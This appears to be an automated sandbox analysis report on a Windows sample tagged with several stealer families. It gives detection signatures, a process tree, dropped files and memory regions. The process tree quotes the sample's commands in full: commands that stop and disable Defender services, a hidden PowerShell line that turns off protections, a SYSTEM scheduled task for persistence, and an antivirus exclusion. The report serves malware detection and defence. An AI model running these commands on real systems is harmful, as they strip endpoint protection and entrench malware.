Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    20/04/2026, 03:15

General

  • Target
    2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
  • Size 2.6MB
  • Sample260420-dr1eksbz2z
  • SHA256 00b96f5cee633bb2cdb71c182e0e8db749de5a41a14bf07219f695d9c7bd1ea0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Disables service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Launches sc.exe 16 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-20_330e717122b017d2cd5f79eee0707803_blankgrabber_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3124
    • C:\Windows\SYSTEM32\sc.exe
      sc stop "WinDefend"
      2⤵
      • Launches sc.exe
      PID:4572
    • C:\Windows\SYSTEM32\sc.exe
      sc config "WinDefend" start= disabled
      2⤵
      • Launches sc.exe
      PID:4884
    • C:\Windows\SYSTEM32\sc.exe
      sc stop "MsMpSvc"
      2⤵
      • Launches sc.exe
      PID:4936
    • C:\Windows\SYSTEM32\sc.exe
      sc config "MsMpSvc" start= disabled
      2⤵
      • Launches sc.exe
      PID:3548
    • C:\Windows\SYSTEM32\sc.exe
      sc stop "Sense"
      2⤵
      • Launches sc.exe
      PID:2820
    • C:\Windows\SYSTEM32\sc.exe
      sc config "Sense" start= disabled
      2⤵
      • Launches sc.exe
      PID:5984
    • C:\Windows\SYSTEM32\sc.exe
      sc stop "WdNisSvc"
      2⤵
      • Launches sc.exe
      PID:2516
    • C:\Windows\SYSTEM32\sc.exe
      sc config "WdNisSvc" start= disabled
      2⤵
      • Launches sc.exe
      PID:3364
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableBehaviorMonitoring $true; Set-MpPreference -DisableBlockAtFirstSeen $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableScriptScanning $true; Start-Sleep 60; Set-MpPreference -DisableRealtimeMonitoring $false; Set-MpPreference -DisableBehaviorMonitoring $false; Set-MpPreference -DisableBlockAtFirstSeen $false; Set-MpPreference -DisableIOAVProtection $false; Set-MpPreference -DisableScriptScanning $false"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3728
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "WindowsPresetMonitorTask" /tr "\"C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe\"" /sc onlogon /ru SYSTEM /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1624
    • C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe
      "C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe"
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5096
      • C:\Windows\SYSTEM32\sc.exe
        sc stop "WinDefend"
        3⤵
        • Launches sc.exe
        PID:5572
      • C:\Windows\SYSTEM32\sc.exe
        sc config "WinDefend" start= disabled
        3⤵
        • Launches sc.exe
        PID:3568
      • C:\Windows\SYSTEM32\sc.exe
        sc stop "MsMpSvc"
        3⤵
        • Launches sc.exe
        PID:696
      • C:\Windows\SYSTEM32\sc.exe
        sc config "MsMpSvc" start= disabled
        3⤵
        • Launches sc.exe
        PID:5880
      • C:\Windows\SYSTEM32\sc.exe
        sc stop "Sense"
        3⤵
        • Launches sc.exe
        PID:3916
      • C:\Windows\SYSTEM32\sc.exe
        sc config "Sense" start= disabled
        3⤵
        • Launches sc.exe
        PID:5524
      • C:\Windows\SYSTEM32\sc.exe
        sc stop "WdNisSvc"
        3⤵
        • Launches sc.exe
        PID:1744
      • C:\Windows\SYSTEM32\sc.exe
        sc config "WdNisSvc" start= disabled
        3⤵
        • Launches sc.exe
        PID:2024
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableBehaviorMonitoring $true; Set-MpPreference -DisableBlockAtFirstSeen $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableScriptScanning $true; Start-Sleep 60; Set-MpPreference -DisableRealtimeMonitoring $false; Set-MpPreference -DisableBehaviorMonitoring $false; Set-MpPreference -DisableBlockAtFirstSeen $false; Set-MpPreference -DisableIOAVProtection $false; Set-MpPreference -DisableScriptScanning $false"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:468
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /tn "WindowsPresetMonitorTask" /tr "\"C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe\"" /sc onlogon /ru SYSTEM /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2928
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\%USERNAME%\AppData\Roaming\Preset_Mon'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5568
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Preset_Mon'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3320

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
        • MD5 SHA1 SHA512 TLSH

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 61KB
        • SHA256 cad7fa82645bffc55a30f34d2171b358e37496ab44945d39cf6ad5d3653cfb43
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 fb485201330a5ca14dc2d7a80ecf88b5c9e53d59929f9234c3ccf7548e2fe73f
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 c39acf1f531ea52ea22cd85742d6855c1a23c10b9f54e20eb90d973376ca77a9
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_sltwktmv.w3b.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sltwktmv.w3b.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        Preset_Mon_x84.exe

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\Preset_Mon_x84.exe
        • Size 2.6MB
        • SHA256 00b96f5cee633bb2cdb71c182e0e8db749de5a41a14bf07219f695d9c7bd1ea0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        d3dcompiler_47.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\d3dcompiler_47.dll
        • Size 3.7MB
        • SHA256 ea89b930b67d69a405cd5dd041d879744c5b096a3a185e77a5a02763583fbcc0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libEGL.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\libEGL.dll
        • Size 289KB
        • SHA256 f7f8eaafd0eff00954b86bc60188e562995627c49d3844936bce261b5f4da745
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libGLESv2.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\libGLESv2.dll
        • Size 6.5MB
        • SHA256 094d32d387bca3023a4dccd20391513aeed4aad622cfff460d828e9fbc7c6f62
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\msvcp140.dll
        • Size 593KB
        • SHA256 d238d756610f062d305cfe32a248c7fdf5aabe1e3ce6946de960fff6e4840b5a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140_1.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\msvcp140_1.dll
        • Size 35KB
        • SHA256 a2b28fc1c401536aae0b6eede86d50f6f00bbd4ec7ee9d23ec92f514873d1618
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140_2.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\msvcp140_2.dll
        • Size 274KB
        • SHA256 2fa870826ae8fd44d32acfa5fd4aa7e551412f717ed7555ad6d551c1b3392668
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\vcruntime140.dll
        • Size 80KB
        • SHA256 c711e7e405b60172b18740c13393796cca9795a82fb3bbe2a69d23149f64a888
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140_1.dll

        • Path C:\Users\Admin\AppData\Roaming\Preset_Mon\vcruntime140_1.dll
        • Size 34KB
        • SHA256 67f6bff4b1d8666cfbaa6aee11a1cfcf1d706614a88832c6410dce6770123c80
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/468-95-0x000001E9AFD20000-0x000001E9AFD7D000-memory.dmp

        memory/468-97-0x000001E9C8330000-0x000001E9C8342000-memory.dmp

        memory/468-96-0x000001E9AFE30000-0x000001E9AFE3C000-memory.dmp

        memory/468-140-0x000001E9AFE30000-0x000001E9AFE3C000-memory.dmp

        memory/468-139-0x000001E9AFD20000-0x000001E9AFD7D000-memory.dmp

        memory/3116-37-0x0000000000F00000-0x0000000000F01000-memory.dmp

        memory/3116-0-0x0000000000F00000-0x0000000000F01000-memory.dmp

        memory/3116-2-0x0000000000F00000-0x0000000000F01000-memory.dmp

        memory/3124-50-0x000002575E230000-0x000002575E28D000-memory.dmp

        memory/3320-88-0x0000020D0B410000-0x0000020D0B46D000-memory.dmp

        memory/3320-90-0x0000020D0D110000-0x0000020D0D122000-memory.dmp

        memory/3320-89-0x0000020D0B4D0000-0x0000020D0B4DC000-memory.dmp

        memory/3728-19-0x000001461DE70000-0x000001461DE8C000-memory.dmp

        memory/3728-23-0x000001461DEA0000-0x000001461DEAA000-memory.dmp

        memory/3728-27-0x000001461DEF0000-0x000001461DEFA000-memory.dmp

        memory/3728-26-0x000001461DEE0000-0x000001461DEE6000-memory.dmp

        memory/3728-25-0x000001461DEB0000-0x000001461DEB8000-memory.dmp

        memory/3728-67-0x0000014603DE0000-0x0000014603E3D000-memory.dmp

        memory/3728-69-0x000001461DD80000-0x000001461DD92000-memory.dmp

        memory/3728-24-0x000001461E430000-0x000001461E44A000-memory.dmp

        memory/3728-5-0x000001461DD70000-0x000001461DD80000-memory.dmp

        memory/3728-54-0x000001461DD70000-0x000001461DD80000-memory.dmp

        memory/3728-22-0x000001461DEC0000-0x000001461DEDC000-memory.dmp

        memory/3728-21-0x000001461DE90000-0x000001461DE9A000-memory.dmp

        memory/3728-20-0x000001461E120000-0x000001461E1D3000-memory.dmp

        memory/3728-68-0x00000146056C0000-0x00000146056CC000-memory.dmp

        memory/3728-130-0x0000014603DE0000-0x0000014603E3D000-memory.dmp

        memory/3728-131-0x00000146056C0000-0x00000146056CC000-memory.dmp

        memory/3728-12-0x000001461DDD0000-0x000001461DDF2000-memory.dmp

        memory/3728-4-0x000001461DD70000-0x000001461DD80000-memory.dmp

        memory/5096-91-0x000002B261400000-0x000002B26145D000-memory.dmp